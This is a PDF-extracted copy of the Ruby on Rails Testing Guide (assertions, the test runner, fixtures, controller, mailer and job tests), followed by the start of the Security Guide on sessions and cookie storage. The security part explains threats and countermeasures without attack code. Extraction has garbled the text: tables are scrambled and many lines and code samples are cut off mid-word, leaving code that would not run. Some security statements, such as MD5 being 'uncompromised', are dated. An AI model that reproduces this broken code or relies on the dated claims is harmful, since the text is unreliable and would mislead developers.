assert_predicate ( obj, Ensures that obj.predicate is true, e.g.
predicate, [msg] )
assert_predicate str, :empty?
assert_not_predicate ( Ensures that obj.predicate is false, e.g.
obj, predicate, [msg] ) assert_not_predicate str, :empty?

assert_send( array,
[msg] )

flunk( [msg] )

Ensures that executing the method listed in

array[1] on the object in array[0] with the
parameters of array[2 and up] is true, e.g.
assert_send [@user, :full_name, 'Sam Smith'].
This one is weird eh?
Ensures failure. This is useful to explicitly
mark a test that isn't finished yet.

The above are a subset of assertions that minitest supports. For an

exhaustive & more up-to-date list, please check Minitest API
documentation, specifically Minitest::Assertions.
Because of the modular nature of the testing framework, it is possible to
create your own assertions. In fact, that's exactly what Rails does. It
includes some specialized assertions to make your life easier.
Creating your own assertions is an advanced topic that we won't cover in
this tutorial.

2.5 Rails Specific Assertions

Rails adds some custom assertions of its own to the minitest framework:
Assertion

Purpose
Test numeric difference between
assert_difference(expressions,
return value of an expression as a
difference = 1, message = nil)
result of what is evaluated in the
{...}
yielded block.
Asserts that the numeric result of
assert_no_difference(expressions, evaluating an expression is not
message = nil, &block)
changed before and after invokin
passed in block.
Asserts that the routing of the giv
path was handled correctly and th
the parsed options (given in the
assert_recognizes(expected_options,
expected_options hash) match pa
path, extras={}, message=nil)
Basically, it asserts that Rails
recognizes the route given by
expected_options.
Asserts that the provided options
be used to generate the provided
This is the inverse of
assert_recognizes. The extras
assert_generates(expected_path,
parameter is used to tell the reque
options, defaults={}, extras = {},
the names and values of additiona
message=nil)
request parameters that would be
query string. The message param
allows you to specify a custom er
message for assertion failures.
Asserts that the response comes w
a specific status code. You can

assert_response(type, message =
nil)

specify :success to indicate 200:redirect to indicate 300-399,

:missing to indicate 404, or :err
to match the 500-599 range. You
also pass an explicit status numbe
its symbolic equivalent. For more
information, see full list of status
codes and how their mapping wo
Asserts that the redirection option
passed in match those of the redir
called in the latest action. This m
can be partial, such that

assert_redirected_to(control
"weblog") will also match the

assert_redirected_to(options = {}, redirection of

message=nil)
redirect_to(controller:
"weblog", action: "show") and

on. You can also pass named rout

such as assert_redirected_to
root_path and Active Record ob
such as assert_redirected_to
@article.
You'll see the usage of some of these assertions in the next chapter.
2.6 A Brief Note About Test Cases
All the basic assertions such as assert_equal defined in
Minitest::Assertions are also available in the classes we use in our own
test cases. In fact, Rails provides the following classes for you to inherit
from:
ActiveSupport::TestCase
ActionMailer::TestCase

ActionView::TestCase
ActionDispatch::IntegrationTest
ActiveJob::TestCase

Each of these classes include Minitest::Assertions, allowing us to use

all of the basic assertions in our tests.
For more information on Minitest, refer to its documentation.
2.7 The Rails Test Runner
We can run all of our tests at once by using the bin/rails test
command.
Or we can run a single test by passing the bin/rails test command the
filename containing the test cases.
$ bin/rails test test/models/article_test.rb
Run options: --seed 1559
# Running:
..
Finished in 0.027034s, 73.9810 runs/s, 110.9715 assertions/s.
2 runs, 3 assertions, 0 failures, 0 errors, 0 skips

This will run all test methods from the test case.
You can also run a particular test method from the test case by providing
the -n or --name flag and the test's method name.
$ bin/rails test test/models/article_test.rb -n test_the_truth
Run options: -n test_the_truth --seed 43583
# Running:

Finished tests in 0.009064s, 110.3266 tests/s, 110.3266 assertio

1 tests, 1 assertions, 0 failures, 0 errors, 0 skips

You can also run a test at a specific line by providing the line number.

$ bin/rails test test/models/article_test.rb:6 # run specific te

You can also run an entire directory of tests by providing the path to the
directory.

$ bin/rails test test/controllers # run all tests from specific

The test runner provides lot of other features too like failing fast, deferring
test output at the end of test run and so on. Check the documentation of the
test runner as follows:

$ bin/rails test -h
minitest options:
-h, --help Display this help.
-s, --seed SEED Sets random seed. Also via
-v, --verbose Verbose. Show progress proc
-n, --name PATTERN Filter run on /regexp/ or s
--exclude PATTERN Exclude /regexp/ or string
Known extensions: rails, pride

Usage: bin/rails test [options] [files or directories]

You can run a single test by appending a line number to a filena
bin/rails test test/models/user_test.rb:27
You can run multiple files and directories at the same time:

bin/rails test test/controllers test/integration/login_test.

By default test failures and errors are reported inline during a

Rails options:
-e, --environment ENV Run tests in the ENV enviro
-b, --backtrace Show the complete backtrace
-d, --defer-output Output test failures and er
-f, --fail-fast Abort test run on first fai
-c, --[no-]color Enable color in the output

3 The Test Database

Just about every Rails application interacts heavily with a database and, as
a result, your tests will need a database to interact with as well. To write
efficient tests, you'll need to understand how to set up this database and
populate it with sample data.
By default, every Rails application has three environments: development,
test, and production. The database for each one of them is configured in
config/database.yml.
A dedicated test database allows you to set up and interact with test data in
isolation. This way your tests can mangle test data with confidence,
without worrying about the data in the development or production
databases.
3.1 Maintaining the test database schema
In order to run your tests, your test database will need to have the current
structure. The test helper checks whether your test database has any
pending migrations. It will try to load your db/schema.rb or
db/structure.sql into the test database. If migrations are still pending,
an error will be raised. Usually this indicates that your schema is not fully
migrated. Running the migrations against the development database
(bin/rails db:migrate) will bring the schema up to date.
If there were modifications to existing migrations, the test database needs
to be rebuilt. This can be done by executing bin/rails db:test:prepare.
3.2 The Low-Down on Fixtures
For good tests, you'll need to give some thought to setting up test data. In
Rails, you can handle this by defining and customizing fixtures. You can
find comprehensive documentation in the Fixtures API documentation.

3.2.1 What Are Fixtures?

Fixtures is a fancy word for sample data. Fixtures allow you to populate
your testing database with predefined data before your tests run. Fixtures
are database independent and written in YAML. There is one file per
model.
Fixtures are not designed to create every object that your tests need, and
are best managed when only used for default data that can be applied to the
common case.
You'll find fixtures under your test/fixtures directory. When you run
rails generate model to create a new model, Rails automatically creates
fixture stubs in this directory.
3.2.2 YAML

YAML-formatted fixtures are a human-friendly way to describe your

sample data. These types of fixtures have the .yml file extension (as in
users.yml).
Here's a sample YAML fixture file:
# lo & behold! I am a YAML comment!
david:
name: David Heinemeier Hansson
birthday: 1979-10-15
profession: Systems development
steve:
name: Steve Ross Kellock
birthday: 1974-09-27
profession: guy with keyboard

Each fixture is given a name followed by an indented list of colonseparated key/value pairs. Records are typically separated by a blank line.

You can place comments in a fixture file by using the # character in the
first column.
If you are working with associations, you can simply define a reference
node between two different fixtures. Here's an example with a
belongs_to/has_many association:
# In fixtures/categories.yml
about:
name: About
# In fixtures/articles.yml
first:
title: Welcome to Rails!
body: Hello world!
category: about

Notice the category key of the first article found in

fixtures/articles.yml has a value of about. This tells Rails to load the
category about found in fixtures/categories.yml.
For associations to reference one another by name, you can use the fixture
name instead of specifying the id: attribute on the associated fixtures.
Rails will auto assign a primary key to be consistent between runs. For
more information on this association behavior please read the Fixtures API
documentation.
3.2.3 ERB'in It Up

ERB allows you to embed Ruby code within templates. The YAML fixture
format is pre-processed with ERB when Rails loads fixtures. This allows
you to use Ruby to help you generate some sample data. For example, the
following code generates a thousand users:
<% 1000.times do |n| %>
user_<%= n %>:

username: <%= "user#{n}" %>

email: <%= "user#{n}@example.com" %>
<% end %>
3.2.4 Fixtures in Action

Rails automatically loads all fixtures from the test/fixtures directory by

default. Loading involves three steps:
1. Remove any existing data from the table corresponding to the fixture
2. Load the fixture data into the table
3. Dump the fixture data into a method in case you want to access it
directly
In order to remove existing data from the database, Rails tries to disable
referential integrity triggers (like foreign keys and check constraints). If
you are getting annoying permission errors on running tests, make sure the
database user has privilege to disable these triggers in testing environment.
(In PostgreSQL, only superusers can disable all triggers. Read more about
PostgreSQL permissions here).
3.2.5 Fixtures are Active Record objects

Fixtures are instances of Active Record. As mentioned in point #3 above,

you can access the object directly because it is automatically available as a
method whose scope is local of the test case. For example:
# this will return the User object for the fixture named david
users(:david)
# this will return the property for david called id
users(:david).id
# one can also access methods available on the User class
david = users(:david)
david.call(david.partner)

To get multiple fixtures at once, you can pass in a list of fixture names. For
example:

# this will return an array containing the fixtures david and st

users(:david, :steve)

4 Model Testing
Model tests are used to test the various models of your application.
Rails model tests are stored under the test/models directory. Rails
provides a generator to create a model test skeleton for you.

$ bin/rails generate test_unit:model article title:string body:t

create test/models/article_test.rb
create test/fixtures/articles.yml

Model tests don't have their own superclass like ActionMailer::TestCase

instead they inherit from ActiveSupport::TestCase.

5 Integration Testing
Integration tests are used to test how various parts of your application
interact. They are generally used to test important workflows within our
application.
For creating Rails integration tests, we use the test/integration
directory for our application. Rails provides a generator to create an
integration test skeleton for us.
$ bin/rails generate integration_test user_flows
exists test/integration/
create test/integration/user_flows_test.rb

Here's what a freshly-generated integration test looks like:

require 'test_helper'
class UserFlowsTest < ActionDispatch::IntegrationTest
# test "the truth" do
# assert true
# end
end

Here the test is inheriting from ActionDispatch::IntegrationTest. This

makes some additional helpers available for us to use in our integration
tests.
5.1 Helpers Available for Integration Tests
In addition to the standard testing helpers, inheriting from
ActionDispatch::IntegrationTest comes with some additional helpers
available when writing integration tests. Let's get briefly introduced to the
three categories of helpers we get to choose from.

For dealing with the integration test runner, see

ActionDispatch::Integration::Runner.
When performing requests, we will have
ActionDispatch::Integration::RequestHelpers available for our use.

If we need to modify the session, or state of our integration test, take a

look at ActionDispatch::Integration::Session to help.
5.2 Implementing an integration test
Let's add an integration test to our blog application. We'll start with a basic
workflow of creating a new blog article, to verify that everything is
working properly.
We'll start by generating our integration test skeleton:
$ bin/rails generate integration_test blog_flow

It should have created a test file placeholder for us. With the output of the
previous command we should see:
invoke test_unit
create test/integration/blog_flow_test.rb

Now let's open that file and write our first assertion:
require 'test_helper'
class BlogFlowTest < ActionDispatch::IntegrationTest
test "can see the welcome page" do
get "/"
assert_select "h1", "Welcome#index"
end
end

We will take a look at assert_select to query the resulting HTML of a

request in the "Testing Views" section below. It is used for testing the
response of our request by asserting the presence of key HTML elements
and their content.
When we visit our root path, we should see welcome/index.html.erb
rendered for the view. So this assertion should pass.
5.2.1 Creating articles integration

How about testing our ability to create a new article in our blog and see the
resulting article.
test "can create an article" do
get "/articles/new"
assert_response :success

post "/articles",
params: { article: { title: "can create", body: "article suc
assert_response :redirect
follow_redirect!
assert_response :success
assert_select "p", "Title:\n can create"
end

Let's break this test down so we can understand it.

We start by calling the :new action on our Articles controller. This
response should be successful.
After this we make a post request to the :create action of our Articles
controller:

post "/articles",
params: { article: { title: "can create", body: "article succe
assert_response :redirect
follow_redirect!

The two lines following the request are to handle the redirect we setup
when creating a new article.
Don't forget to call follow_redirect! if you plan to make subsequent
requests after a redirect is made.
Finally we can assert that our response was successful and our new article
is readable on the page.
5.2.2 Taking it further

We were able to successfully test a very small workflow for visiting our
blog and creating a new article. If we wanted to take this further we could
add tests for commenting, removing articles, or editing comments.
Integration tests are a great place to experiment with all kinds of use-cases
for our applications.

6 Functional Tests for Your Controllers

In Rails, testing the various actions of a controller is a form of writing
functional tests. Remember your controllers handle the incoming web
requests to your application and eventually respond with a rendered view.
When writing functional tests, you are testing how your actions handle the
requests and the expected result or response, in some cases an HTML
view.
6.1 What to include in your Functional Tests
You should test for things such as:
was the web request successful?
was the user redirected to the right page?
was the user successfully authenticated?
was the correct object stored in the response template?
was the appropriate message displayed to the user in the view?
The easiest way to see functional tests in action is to generate a controller
using the scaffold generator:

$ bin/rails generate scaffold_controller article title:string bo

...
create app/controllers/articles_controller.rb
...
invoke test_unit
create test/controllers/articles_controller_test.rb
...

This will generate the controller code and tests for an Article resource.
You can take a look at the file articles_controller_test.rb in the
test/controllers directory.
If you already have a controller and just want to generate the test scaffold

code for each of the seven default actions, you can use the following
command:
$ bin/rails generate test_unit:scaffold article
...
invoke test_unit
create test/controllers/articles_controller_test.rb
...

Let's take a look at one such test, test_should_get_index from the file
articles_controller_test.rb.
# articles_controller_test.rb
class ArticlesControllerTest < ActionDispatch::IntegrationTest
test "should get index" do
get articles_url
assert_response :success
end
end

In the test_should_get_index test, Rails simulates a request on the action

called index, making sure the request was successful and also ensuring
that the right response body has been generated.
The get method kicks off the web request and populates the results into
the @response. It can accept up to 6 arguments:
The action of the controller you are requesting. This can be in the
form of a string or a route (i.e. articles_url).
params: option with a hash of request parameters to pass into the
action (e.g. query string parameters or article variables).
headers: for setting the headers that will be passed with the request.
env: for customizing the request environment as needed.
xhr: whether the request is Ajax request or not. Can be set to true for
marking the request as Ajax.

as: for encoding the request with different content type. Supports
:json by default.

All of these keyword arguments are optional.

Example: Calling the :show action, passing an id of 12 as the params and
setting HTTP_REFERER header:

get :show, params: { id: 12 }, headers: { "HTTP_REFERER" => "htt

Another example: Calling the :update action, passing an id of 12 as the

params as an Ajax request.
patch update_url, params: { id: 12 }, xhr: true

If you try running test_should_create_article test from

articles_controller_test.rb it will fail on account of the newly added
model level validation and rightly so.
Let us modify test_should_create_article test in
articles_controller_test.rb so that all our test pass:

test "should create article" do

assert_difference('Article.count') do
post articles_url, params: { article: { body: 'Rails is awes
end
assert_redirected_to article_path(Article.last)
end

Now you can try running all the tests and they should pass.
6.2 Available Request Types for Functional Tests

If you're familiar with the HTTP protocol, you'll know that get is a type of
request. There are 6 request types supported in Rails functional tests:
get
post
patch
put
head
delete

All of request types have equivalent methods that you can use. In a typical
C.R.U.D. application you'll be using get, post, put and delete more
often.
Functional tests do not verify whether the specified request type is
accepted by the action, we're more concerned with the result. Request tests
exist for this use case to make your tests more purposeful.
6.3 Testing XHR (AJAX) requests
To test AJAX requests, you can specify the xhr: true option to get, post,
patch, put, and delete methods. For example:
test "ajax request" do
article = articles(:one)
get article_url(article), xhr: true
assert_equal 'hello world', @response.body
assert_equal "text/javascript", @response.content_type
end

6.4 The Three Hashes of the Apocalypse

After a request has been made and processed, you will have 3 Hash objects
ready for use:

cookies - Any cookies that are set

flash - Any objects living in the flash
session - Any object living in session variables

As is the case with normal Hash objects, you can access the values by
referencing the keys by string. You can also reference them by symbol
name. For example:
flash["gordon"] flash[:gordon]
session["shmession"] session[:shmession]
cookies["are_good_for_u"] cookies[:are_good_for_u]

6.5 Instance Variables Available

You also have access to three instance variables in your functional tests:
@controller - The controller processing the request
@request - The request object
@response - The response object

6.6 Setting Headers and CGI variables

HTTP headers and CGI variables can be passed as headers:

# setting an HTTP Header

get articles_url, headers: "Content-Type" => "text/plain" # simu

# setting a CGI variable

get articles_url, headers: "HTTP_REFERER" => "http://example.com

6.7 Testing flash notices

If you remember from earlier, one of the Three Hashes of the Apocalypse
was flash.

We want to add a flash message to our blog application whenever

someone successfully creates a new Article.
Let's start by adding this assertion to our test_should_create_article
test:

test "should create article" do

assert_difference('Article.count') do
post article_url, params: { article: { title: 'Some title' }
end

assert_redirected_to article_path(Article.last)
assert_equal 'Article was successfully created.', flash[:notic
end

If we run our test now, we should see a failure:

$ bin/rails test test/controllers/articles_controller_test.rb -n

Run options: -n test_should_create_article --seed 32266
# Running:
F
Finished in 0.114870s, 8.7055 runs/s, 34.8220 assertions/s.

1) Failure:
ArticlesControllerTest#test_should_create_article [/test/control
--- expected
+++ actual
@@ -1 +1 @@
-"Article was successfully created."
+nil
1 runs, 4 assertions, 1 failures, 0 errors, 0 skips

Let's implement the flash message now in our controller. Our :create
action should now look like this:

def create
@article = Article.new(article_params)
if @article.save
flash[:notice] = 'Article was successfully created.'
redirect_to @article
else
render 'new'
end
end

Now if we run our tests, we should see it pass:

$ bin/rails test test/controllers/articles_controller_test.rb -n

Run options: -n test_should_create_article --seed 18981
# Running:
.
Finished in 0.081972s, 12.1993 runs/s, 48.7972 assertions/s.
1 runs, 4 assertions, 0 failures, 0 errors, 0 skips

6.8 Putting it together

At this point our Articles controller tests the :index as well as :new and
:create actions. What about dealing with existing data?
Let's write a test for the :show action:
test "should show article" do
article = articles(:one)
get article_url(article)
assert_response :success
end

Remember from our discussion earlier on fixtures, the articles() method

will give us access to our Articles fixtures.
How about deleting an existing Article?
test "should destroy article" do
article = articles(:one)
assert_difference('Article.count', -1) do
delete article_url(article)
end
assert_redirected_to articles_path
end

We can also add a test for updating an existing Article.

test "should update article" do
article = articles(:one)

patch article_url(article), params: { article: { title: "updat

assert_redirected_to article_path(article)
# Reload association to fetch updated data and assert that tit
article.reload
assert_equal "updated", article.title
end

Notice we're starting to see some duplication in these three tests, they both
access the same Article fixture data. We can D.R.Y. this up by using the
setup and teardown methods provided by ActiveSupport::Callbacks.
Our test should now look something as what follows. Disregard the other
tests for now, we're leaving them out for brevity.
require 'test_helper'
class ArticlesControllerTest < ActionDispatch::IntegrationTest
# called before every single test

setup do
@article = articles(:one)
end

# called after every single test

teardown do
# when controller is using cache it may be a good idea to re
Rails.cache.clear
end
test "should show article" do
# Reuse the @article instance variable from setup
get article_url(@article)
assert_response :success
end
test "should destroy article" do
assert_difference('Article.count', -1) do
delete article_url(@article)
end
assert_redirected_to articles_path
end

test "should update article" do

patch article_url(@article), params: { article: { title: "up

assert_redirected_to article_path(@article)
# Reload association to fetch updated data and assert that t
@article.reload
assert_equal "updated", @article.title
end
end

Similar to other callbacks in Rails, the setup and teardown methods can
also be used by passing a block, lambda, or method name as a symbol to
call.
6.9 Test helpers

To avoid code duplication, you can add your own test helpers. Sign in
helper can be a good example:
#test/test_helper.rb

module SignInHelper
def sign_in_as(user)
post sign_in_url(email: user.email, password: user.password)
end
end
class ActionDispatch::IntegrationTest
include SignInHelper
end
require 'test_helper'
class ProfileControllerTest < ActionDispatch::IntegrationTest
test "should show profile" do
# helper is now reusable from any controller test case
sign_in_as users(:david)
get profile_url
assert_response :success
end
end

7 Testing Routes
Like everything else in your Rails application, you can test your routes.
If your application has complex routes, Rails provides a number of useful
helpers to test them.
For more information on routing assertions available in Rails, see the API
documentation for ActionDispatch::Assertions::RoutingAssertions.

8 Testing Views
Testing the response to your request by asserting the presence of key
HTML elements and their content is a common way to test the views of
your application. Like route tests, view tests reside in test/controllers/
or are part of controller tests. The assert_select method allows you to
query HTML elements of the response by using a simple yet powerful
syntax.
There are two forms of assert_select:
assert_select(selector, [equality], [message]) ensures that the

equality condition is met on the selected elements through the selector.

The selector may be a CSS selector expression (String) or an expression
with substitution values.
assert_select(element, selector, [equality], [message]) ensures

that the equality condition is met on all the selected elements through the
selector starting from the element (instance of Nokogiri::XML::Node or
Nokogiri::XML::NodeSet) and its descendants.
For example, you could verify the contents on the title element in your
response with:
assert_select 'title', "Welcome to Rails Testing Guide"

You can also use nested assert_select blocks for deeper investigation.
In the following example, the inner assert_select for li.menu_item runs
within the collection of elements selected by the outer block:
assert_select 'ul.navigation' do
assert_select 'li.menu_item'
end

A collection of selected elements may be iterated through so that

assert_select may be called separately for each element.
For example if the response contains two ordered lists, each with four
nested list elements then the following tests will both pass.
assert_select "ol" do |elements|
elements.each do |element|
assert_select element, "li", 4
end
end
assert_select "ol" do
assert_select "li", 8
end

This assertion is quite powerful. For more advanced usage, refer to its
documentation.
8.1 Additional View-Based Assertions

There are more assertions that are primarily used in testing views:
Assertion

Purpose
Allows you to make assertions on the body of
assert_select_email
an e-mail.
Allows you to make assertions on encoded
HTML. It does this by un-encoding the contents
assert_select_encoded
of each element and then calling the block with
all the un-encoded elements.
Returns an array of all the elements selected by
css_select(selector) the selector. In the second variant it first
matches the base element and tries to match the
or
css_select(element, selector expression on any of its children. If
selector)
there are no matches both variants return an

empty array.
Here's an example of using assert_select_email:

assert_select_email do
assert_select 'small', 'Please click the "Unsubscribe" link if
end

9 Testing Helpers
A helper is just a simple module where you can define methods which are
available into your views.
In order to test helpers, all you need to do is check that the output of the
helper method matches what you'd expect. Tests related to the helpers are
located under the test/helpers directory.
Given we have the following helper:
module UserHelper
def link_to_user(user)
link_to "#{user.first_name} #{user.last_name}", user
end
end

We can test the output of this method like this:

class UserHelperTest < ActionView::TestCase
test "should return the user's full name" do
user = users(:david)

assert_dom_equal %{<a href="/user/#{user.id}">David Heinemei

end
end

Moreover, since the test class extends from ActionView::TestCase, you

have access to Rails' helper methods such as link_to or pluralize.

10 Testing Your Mailers

Testing mailer classes requires some specific tools to do a thorough job.
10.1 Keeping the Postman in Check
Your mailer classes - like every other part of your Rails application should be tested to ensure that they are working as expected.
The goals of testing your mailer classes are to ensure that:
emails are being processed (created and sent)
the email content is correct (subject, sender, body, etc)
the right emails are being sent at the right times
10.1.1 From All Sides

There are two aspects of testing your mailer, the unit tests and the
functional tests. In the unit tests, you run the mailer in isolation with
tightly controlled inputs and compare the output to a known value (a
fixture.) In the functional tests you don't so much test the minute details
produced by the mailer; instead, we test that our controllers and models are
using the mailer in the right way. You test to prove that the right email was
sent at the right time.
10.2 Unit Testing
In order to test that your mailer is working as expected, you can use unit
tests to compare the actual results of the mailer with pre-written examples
of what should be produced.
10.2.1 Revenge of the Fixtures

For the purposes of unit testing a mailer, fixtures are used to provide an

example of how the output should look. Because these are example emails,
and not Active Record data like the other fixtures, they are kept in their
own subdirectory apart from the other fixtures. The name of the directory
within test/fixtures directly corresponds to the name of the mailer. So,
for a mailer named UserMailer, the fixtures should reside in
test/fixtures/user_mailer directory.
When you generated your mailer, the generator creates stub fixtures for
each of the mailers actions. If you didn't use the generator, you'll have to
create those files yourself.
10.2.2 The Basic Test Case

Here's a unit test to test a mailer named UserMailer whose action invite
is used to send an invitation to a friend. It is an adapted version of the base
test created by the generator for an invite action.
require 'test_helper'

class UserMailerTest < ActionMailer::TestCase

test "invite" do
# Create the email and store it for further assertions
email = UserMailer.create_invite('[email protected]',
'[email protected]', Time.
# Send the email, then test that it got queued
assert_emails 1 do
email.deliver_now
end

# Test the body of the sent email contains what we expect it

assert_equal ['[email protected]'], email.from
assert_equal ['[email protected]'], email.to
assert_equal 'You have been invited by [email protected]', emai
assert_equal read_fixture('invite').join, email.body.to_s
end
end

In the test we send the email and store the returned object in the email
variable. We then ensure that it was sent (the first assert), then, in the
second batch of assertions, we ensure that the email does indeed contain
what we expect. The helper read_fixture is used to read in the content
from this file.
Here's the content of the invite fixture:
Hi [email protected],
You have been invited.
Cheers!

This is the right time to understand a little more about writing tests for
your mailers. The line ActionMailer::Base.delivery_method = :test
in config/environments/test.rb sets the delivery method to test mode
so that email will not actually be delivered (useful to avoid spamming your
users while testing) but instead it will be appended to an array
(ActionMailer::Base.deliveries).
The ActionMailer::Base.deliveries array is only reset automatically in
ActionMailer::TestCase and ActionDispatch::IntegrationTest tests.
If you want to have a clean slate outside these test cases, you can reset it
manually with: ActionMailer::Base.deliveries.clear
10.3 Functional Testing
Functional testing for mailers involves more than just checking that the
email body, recipients and so forth are correct. In functional mail tests you
call the mail deliver methods and check that the appropriate emails have
been appended to the delivery list. It is fairly safe to assume that the
deliver methods themselves do their job. You are probably more interested
in whether your own business logic is sending emails when you expect

them to go out. For example, you can check that the invite friend operation
is sending an email appropriately:
require 'test_helper'

class UserControllerTest < ActionDispatch::IntegrationTest

test "invite friend" do
assert_difference 'ActionMailer::Base.deliveries.size', +1 d
post invite_friend_url, params: { email: '[email protected]
end
invite_email = ActionMailer::Base.deliveries.last

assert_equal "You have been invited by [email protected]", invi

assert_equal '[email protected]', invite_email.to[0]
assert_match(/Hi [email protected]/, invite_email.body.to_s
end
end

11 Testing Jobs
Since your custom jobs can be queued at different levels inside your
application, you'll need to test both, the jobs themselves (their behavior
when they get enqueued) and that other entities correctly enqueue them.
11.1 A Basic Test Case
By default, when you generate a job, an associated test will be generated
as well under the test/jobs directory. Here's an example test with a
billing job:
require 'test_helper'
class BillingJobTest < ActiveJob::TestCase
test 'that account is charged' do
BillingJob.perform_now(account, product)
assert account.reload.charged_for?(product)
end
end

This test is pretty simple and only asserts that the job get the work done as
expected.
By default, ActiveJob::TestCase will set the queue adapter to :async so
that your jobs are performed in an async fashion. It will also ensure that all
previously performed and enqueued jobs are cleared before any test run so
you can safely assume that no jobs have already been executed in the
scope of each test.
11.2 Custom Assertions And Testing Jobs Inside Other Components
Active Job ships with a bunch of custom assertions that can be used to
lessen the verbosity of tests. For a full list of available assertions, see the
API documentation for ActiveJob::TestHelper.

It's a good practice to ensure that your jobs correctly get enqueued or
performed wherever you invoke them (e.g. inside your controllers). This is
precisely where the custom assertions provided by Active Job are pretty
useful. For instance, within a model:
require 'test_helper'
class ProductTest < ActiveJob::TestCase
test 'billing job scheduling' do
assert_enqueued_with(job: BillingJob) do
product.charge(account)
end
end
end

12 Additional Testing Resources

12.1 Testing Time-Dependent Code
Rails provides built-in helper methods that enable you to assert that your
time-sensitive code works as expected.
Here is an example using the travel_to helper:

# Lets say that a user is eligible for gifting a month after the
user = User.create(name: 'Gaurish', activation_date: Date.new(20
assert_not user.applicable_for_gifting?
travel_to Date.new(2004, 11, 24) do
assert_equal Date.new(2004, 10, 24), user.activation_date # in
assert user.applicable_for_gifting?
end
assert_equal Date.new(2004, 10, 24), user.activation_date # The

Please see ActiveSupport::TimeHelpers API Documentation for in-depth

information about the available time helpers.

Ruby on Rails Security Guide

Ruby on...

1 Introduction
Web application frameworks are made to help developers build web
applications. Some of them also help you with securing the web
application. In fact one framework is not more secure than another: If you
use it correctly, you will be able to build secure apps with many
frameworks. Ruby on Rails has some clever helper methods, for example
against SQL injection, so that this is hardly a problem.
In general there is no such thing as plug-n-play security. Security depends
on the people using the framework, and sometimes on the development
method. And it depends on all layers of a web application environment:
The back-end storage, the web server and the web application itself (and
possibly other layers or applications).
The Gartner Group, however, estimates that 75% of attacks are at the web
application layer, and found out "that out of 300 audited sites, 97% are
vulnerable to attack". This is because web applications are relatively easy
to attack, as they are simple to understand and manipulate, even by the lay
person.
The threats against web applications include user account hijacking,
bypass of access control, reading or modifying sensitive data, or presenting
fraudulent content. Or an attacker might be able to install a Trojan horse
program or unsolicited e-mail sending software, aim at financial
enrichment or cause brand name damage by modifying company
resources. In order to prevent attacks, minimize their impact and remove
points of attack, first of all, you have to fully understand the attack
methods in order to find the correct countermeasures. That is what this
guide aims at.
In order to develop secure web applications you have to keep up to date on
all layers and know your enemies. To keep up to date subscribe to security
mailing lists, read security blogs and make updating and security checks a

habit (check the Additional Resources chapter). It is done manually

because that's how you find the nasty logical security problems.

2 Sessions
A good place to start looking at security is with sessions, which can be
vulnerable to particular attacks.
2.1 What are Sessions?
HTTP is a stateless protocol. Sessions make it stateful.
Most applications need to keep track of certain state of a particular user.
This could be the contents of a shopping basket or the user id of the
currently logged in user. Without the idea of sessions, the user would have
to identify, and probably authenticate, on every request. Rails will create a
new session automatically if a new user accesses the application. It will
load an existing session if the user has already used the application.
A session usually consists of a hash of values and a session id, usually a
32-character string, to identify the hash. Every cookie sent to the client's
browser includes the session id. And the other way round: the browser will
send it to the server on every request from the client. In Rails you can save
and retrieve values using the session method:
session[:user_id] = @current_user.id
User.find(session[:user_id])

2.2 Session id
The session id is a 32 byte long MD5 hash value.
A session id consists of the hash value of a random string. The random
string is the current time, a random number between 0 and 1, the process id
number of the Ruby interpreter (also basically a random number) and a
constant string. Currently it is not feasible to brute-force Rails' session ids.

To date MD5 is uncompromised, but there have been collisions, so it is

theoretically possible to create another input text with the same hash value.
But this has had no security impact to date.
2.3 Session Hijacking
Stealing a user's session id lets an attacker use the web application in the
victim's name.
Many web applications have an authentication system: a user provides a
user name and password, the web application checks them and stores the
corresponding user id in the session hash. From now on, the session is
valid. On every request the application will load the user, identified by the
user id in the session, without the need for new authentication. The session
id in the cookie identifies the session.
Hence, the cookie serves as temporary authentication for the web
application. Anyone who seizes a cookie from someone else, may use the
web application as this user - with possibly severe consequences. Here are
some ways to hijack a session, and their countermeasures:
Sniff the cookie in an insecure network. A wireless LAN can be an
example of such a network. In an unencrypted wireless LAN, it is
especially easy to listen to the traffic of all connected clients. For the
web application builder this means to provide a secure connection
over SSL. In Rails 3.1 and later, this could be accomplished by always
forcing SSL connection in your application config file:
config.force_ssl = true

Most people don't clear out the cookies after working at a public
terminal. So if the last user didn't log out of a web application, you
would be able to use it as this user. Provide the user with a log-out
button in the web application, and make it prominent.

Many cross-site scripting (XSS) exploits aim at obtaining the user's

cookie. You'll read more about XSS later.
Instead of stealing a cookie unknown to the attacker, they fix a user's
session identifier (in the cookie) known to them. Read more about
this so-called session fixation later.
The main objective of most attackers is to make money. The underground
prices for stolen bank login accounts range from $10-$1000 (depending on
the available amount of funds), $0.40-$20 for credit card numbers, $1-$8
for online auction site accounts and $4-$30 for email passwords, according
to the Symantec Global Internet Security Threat Report.
2.4 Session Guidelines
Here are some general guidelines on sessions.
Do not store large objects in a session. Instead you should store them
in the database and save their id in the session. This will eliminate
synchronization headaches and it won't fill up your session storage
space (depending on what session storage you chose, see below). This
will also be a good idea, if you modify the structure of an object and
old versions of it are still in some user's cookies. With server-side
session storages you can clear out the sessions, but with client-side
storages, this is hard to mitigate.
Critical data should not be stored in session. If the user clears their
cookies or closes the browser, they will be lost. And with a client-side
session storage, the user can read the data.
2.5 Session Storage
Rails provides several storage mechanisms for the session hashes. The
most important is ActionDispatch::Session::CookieStore.
Rails 2 introduced a new default session storage, CookieStore.

CookieStore saves the session hash directly in a cookie on the client-side.

The server retrieves the session hash from the cookie and eliminates the
need for a session id. That will greatly increase the speed of the
application, but it is a controversial storage option and you have to think
about the security implications of it:
Cookies imply a strict size limit of 4kB. This is fine as you should not
store large amounts of data in a session anyway, as described before.
Storing the current user's database id in a session is usually ok.
The client can see everything you store in a session, because it is
stored in clear-text (actually Base64-encoded, so not encrypted). So,
of course, you don't want to store any secrets here. To prevent session
hash tampering, a digest is calculated from the session with a serverside secret (secrets.secret_token) and inserted into the end of the
cookie.
However, since Rails 4, the default store is EncryptedCookieStore. With
EncryptedCookieStore the session is encrypted before being stored in a
cookie. This prevents the user from accessing and tampering the content of
the cookie. Thus the session becomes a more secure place to store data.
The encryption is done using a server-side secret key
secrets.secret_key_base stored in config/secrets.yml.
That means the security of this storage depends on this secret (and on the
digest algorithm, which defaults to SHA1, for compatibility). So don't use
a trivial secret, i.e. a word from a dictionary, or one which is shorter than
30 characters, use rails secret instead.
secrets.secret_key_base is used for specifying a key which allows

sessions for the application to be verified against a known secure key to

prevent tampering. Applications get secrets.secret_key_base initialized
to a random key present in config/secrets.yml, e.g.:
development:
secret_key_base: a75d...

test:
secret_key_base: 492f...
production:
